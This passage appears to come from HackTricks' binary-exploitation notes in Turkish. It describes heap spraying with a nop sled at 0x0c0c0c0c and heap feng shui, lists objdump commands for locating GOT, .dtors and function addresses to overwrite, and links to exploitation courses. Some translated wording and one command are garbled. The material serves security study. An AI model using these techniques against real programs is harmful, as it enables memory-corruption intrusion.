Temelde, heap'ler için mümkün olan tüm belleği rezerve etmek ve bunları bir shellcode ile bitirilmiş bir nops yatağı ile doldurmaktır. Ayrıca, yatak olarak 0x0c kullanılır. Yani, 0x0c0c0c0c adresine atlamaya çalışılacak ve böylece bu yatağa çağrılacak bir adres üzerine yazılırsa oraya atlanacaktır. Temel olarak taktik, birçok şeyi rezerve etmektir, böylece bir işaretçi üzerine yazılıp yazılmadığını görmek ve 0x0c0c0c0c adresine atlamak için beklemektir, umarım orada nops olacaktır.
**Heap Feng Shui**
Belleği sementlemek için rezervasyonlar ve serbest bırakmalar aracılığıyla parçalar arasında rezerve edilmiş parçaların kaldığı şekilde düzenlemeyi içerir. Taşma yapılacak tampon bir yumurtanın içine yerleştirilir.
**objdump -d yürütülebilir** > Fonksiyonları ayrıştırır\
**objdump -d ./PROGRAMA | grep FONKSIYON** —> Fonksiyon adresini alır\
**objdump -d -Mintel ./shellcodeout** —> Shellcode'un bizim olduğunu ve OpCodes'leri almak için\
**objdump -t ./exec | grep varBss** —> Sembol tablosu, değişkenlerin ve fonksiyonların adreslerini almak için\
**objdump -TR ./exec | grep exit(func lib)** —> Kütüphane fonksiyonlarının adreslerini almak için (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> GOT'ta üzerine yazılacak puts adresini alır\
**objdump -D ./exec** —> Tümünü ayrıştırır plt girişlerine kadar\
**objdump -p -/exec**\
**Info functions strncmp —>** gdb'de fonksiyon hakkında bilgi
## İlginç Kurslar
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **Referanslar**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destekleyin.**
</details>